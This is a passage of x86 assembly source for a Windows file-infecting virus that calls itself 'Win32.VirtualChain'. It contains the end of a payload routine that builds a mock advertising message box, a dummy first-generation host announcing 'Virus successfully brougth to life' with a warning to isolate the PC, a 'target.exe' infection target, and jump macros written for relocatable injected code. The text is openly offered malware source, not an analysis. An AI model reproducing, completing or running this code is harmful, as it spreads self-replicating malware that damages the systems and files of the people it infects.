mov byte ptr [esp+2*4+09],"f"
mov byte ptr [esp+2*4+10],"f"
mov byte ptr [esp+2*4+11],"e"
mov byte ptr [esp+2*4+12],"r"
mov byte ptr [esp+2*4+13],"!"
mov byte ptr [esp+2*4+14],0
mov byte ptr [esp+2*4+15],0
;
mov byte ptr [esp+2*4+16+00],"R"
mov byte ptr [esp+2*4+16+01],"e"
mov byte ptr [esp+2*4+16+02],"n"
mov byte ptr [esp+2*4+16+03],"t"
mov byte ptr [esp+2*4+16+04]," "
mov byte ptr [esp+2*4+16+05],"t"
mov byte ptr [esp+2*4+16+06],"h"
mov byte ptr [esp+2*4+16+07],"i"
mov byte ptr [esp+2*4+16+08],"s"
mov byte ptr [esp+2*4+16+09]," "
mov byte ptr [esp+2*4+16+10],"s"
mov byte ptr [esp+2*4+16+11],"p"
mov byte ptr [esp+2*4+16+12],"a"
mov byte ptr [esp+2*4+16+13],"c"
mov byte ptr [esp+2*4+16+14],"e"
mov byte ptr [esp+2*4+16+15]," "
mov byte ptr [esp+2*4+16+16],"f"
mov byte ptr [esp+2*4+16+17],"o"
mov byte ptr [esp+2*4+16+18],"r"
mov byte ptr [esp+2*4+16+19]," "
mov byte ptr [esp+2*4+16+20],"o"
mov byte ptr [esp+2*4+16+21],"n"
mov byte ptr [esp+2*4+16+22],"l"
mov byte ptr [esp+2*4+16+23],"y"
mov byte ptr [esp+2*4+16+24]," "
mov byte ptr [esp+2*4+16+25],"5"
mov byte ptr [esp+2*4+16+26],"$"
mov byte ptr [esp+2*4+16+27]," "
mov byte ptr [esp+2*4+16+28],"p"
mov byte ptr [esp+2*4+16+29],"e"
mov byte ptr [esp+2*4+16+30],"r"
mov byte ptr [esp+2*4+16+31]," "
mov byte ptr [esp+2*4+16+32],"m"
mov byte ptr [esp+2*4+16+33],"o"
mov byte ptr [esp+2*4+16+34],"n"
mov byte ptr [esp+2*4+16+35],"t"
mov byte ptr [esp+2*4+16+36],"h"
mov byte ptr [esp+2*4+16+37],"."
mov byte ptr [esp+2*4+16+38],10
mov byte ptr [esp+2*4+16+39],10
mov byte ptr [esp+2*4+16+40]," "
mov byte ptr [esp+2*4+16+41]," "
mov byte ptr [esp+2*4+16+42]," "
mov byte ptr [esp+2*4+16+43]," "
mov byte ptr [esp+2*4+16+44]," "
mov byte ptr [esp+2*4+16+45]," "
mov byte ptr [esp+2*4+16+46]," "
mov byte ptr [esp+2*4+16+47],"c"
mov byte ptr [esp+2*4+16+48],"o"
mov byte ptr [esp+2*4+16+49],"m"
mov byte ptr [esp+2*4+16+50],"m"
mov byte ptr [esp+2*4+16+51],"e"
mov byte ptr [esp+2*4+16+52],"r"
mov byte ptr [esp+2*4+16+53],"c"
mov byte ptr [esp+2*4+16+54],"i"
mov byte ptr [esp+2*4+16+55],"a"
mov byte ptr [esp+2*4+16+56],"l"
mov byte ptr [esp+2*4+16+57],"s"
mov byte ptr [esp+2*4+16+58],"@"
mov byte ptr [esp+2*4+16+59],"m"
mov byte ptr [esp+2*4+16+60],"i"
mov byte ptr [esp+2*4+16+61],"c"
mov byte ptr [esp+2*4+16+62],"r"
mov byte ptr [esp+2*4+16+63],"o"
mov byte ptr [esp+2*4+16+64],"$"
mov byte ptr [esp+2*4+16+65],"o"
mov byte ptr [esp+2*4+16+66],"f"
mov byte ptr [esp+2*4+16+67],"t"
mov byte ptr [esp+2*4+16+68],"."
mov byte ptr [esp+2*4+16+69],"c"
mov byte ptr [esp+2*4+16+70],"o"
mov byte ptr [esp+2*4+16+71],"m"
mov byte ptr [esp+2*4+16+72],0
;
push 0
lea eax,[esp+2*4+4]
push eax
add eax,16
push eax
push 0
;
call [esp+1*4+4+4+4+4]

e01_Payload:
;
push dword ptr [esp+1*4]
;
call [ebp+FreeLibrary]

e_Payload:
;
add esp,25*4

_2_Payload:
;
ret
;;;;;;;;
;
Payload endp



; Host
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;Dummy first generation host, showing credit title.
;Mode OnTarget only concerns first generation.


extrn MessageBoxA:PROC
extrn ExitProcess:PROC


.data

HostTitle db "Virus successfully brougth to life",0
HostText db "[Win32.VirtualChain, 01/01/02]",10
db "  Siilex, Ivan Altarriba, BCN",10,10
db "In most countries, this is illegal.",10
db "  Please, keep this PC isolated,",10
db "  and reformat HD after the test.",10,10
db "Life is beautiful.",10
db "  So, live it, and don't get in trouble.",0

ModeOnTargetFileName db "target.exe",0
ModeOnTargetFileNameSize dd 00Bh


.code

;Host proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
Host:

push 0
push offset HostTitle
push offset HostText
push 0
;
call MessageBoxA

push 0
;
call ExitProcess
;;;;;;;;
;
;Host endp



; Macro Functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;This macros are needed to assure al jumps will be far.
:They also simplify the reloc info writting, (the comments at the end of the lines).
;Exceptions to this macros are calls to APIs, i.e. 'call [ebp+SomeAPI]'.
;And also the final jump to the original entry point. 


; Functions

@@_jo macro there
db 00Fh,080h ;0
dd there-$-4 ;2
endm

@@_jno macro there
db 00Fh,081h ;0
dd there-$-4 ;2
endm

@@_jc macro there
db 00Fh,082h ;0
dd there-$-4 ;2
endm
;
@@_jb macro there
db 00Fh,082h ;0
dd there-$-4 ;2
endm
;
@@_jnae macro there
db 00Fh,082h ;0
dd there-$-4 ;2
endm

@@_jnc macro there
db 00Fh,083h ;0
dd there-$-4 ;2
endm
;
@@_jnb macro there
db 00Fh,083h ;0
dd there-$-4 ;2
endm
;
@@_jae macro there
db 00Fh,083h ;0
dd there-$-4 ;2
endm

@@_jz macro there
db 00Fh,084h ;0
dd there-$-4 ;2
endm
;
@@_je macro there
db 00Fh,084h ;0
dd there-$-4 ;2
endm

@@_jnz macro there
db 00Fh,085h ;0
dd there-$-4 ;2
endm
;
@@_jne macro there
db 00Fh,085h ;0
dd there-$-4 ;2
endm

@@_jna macro there
db 00Fh,086h ;0
dd there-$-4 ;2
endm
;
@@_jbe macro there
db 00Fh,086h ;0
dd there-$-4 ;2
endm

@@_ja macro there
db 00Fh,087h ;0
dd there-$-4 ;2
endm
;
@@_jnbe macro there
db 00Fh,087h ;0
dd there-$-4 ;2
endm

@@_js macro there
db 00Fh,088h ;0
dd there-$-4 ;2
endm

@@_jns macro there
db 00Fh,089h ;0
dd there-$-4 ;2
endm

@@_jp macro there
db 00Fh,08Ah ;0
dd there-$-4 ;2
endm
;
@@_jpe macro there
db 00Fh,08Ah ;0
dd there-$-4 ;2
endm

@@_jnp macro there
db 00Fh,08Bh ;0
dd there-$-4 ;2
endm
;
@@_jpo macro there
db 00Fh,08Bh ;0
dd there-$-4 ;2
endm

@@_jl macro there
db 00Fh,08Ch ;0
dd there-$-4 ;2
endm
;
@@_jnge macro there
db 00Fh,08Ch ;0
dd there-$-4 ;2
endm

@@_jnl macro there
db 00Fh,08Dh ;0
dd there-$-4 ;2
endm
;
@@_jge macro there
db 00Fh,08Dh ;0
dd there-$-4 ;2
endm

@@_jng macro there
db 00Fh,08Eh ;0
dd there-$-4 ;2
endm
;
@@_jle macro there
db 00Fh,08Eh ;0
dd there-$-4 ;2
endm

@@_jg macro there
db 00Fh,08Fh ;0
dd there-$-4 ;2
endm
;
@@_jnle macro there
db 00Fh,08Fh ;0
dd there-$-4 ;2
endm

@@_jecxz macro there
db 083h,0F9h,000h ;0
db 00Fh,084h ;0
dd there-$-4 ;5
endm

@@_loop macro there
db 049h ;0
db 00Fh,085h ;0
dd there-$-4 ;3
endm

@@_jmp macro there
db 0E9h ;0
dd there-$-4 ;1
endm

@@_call macro there
call there ;1
endm


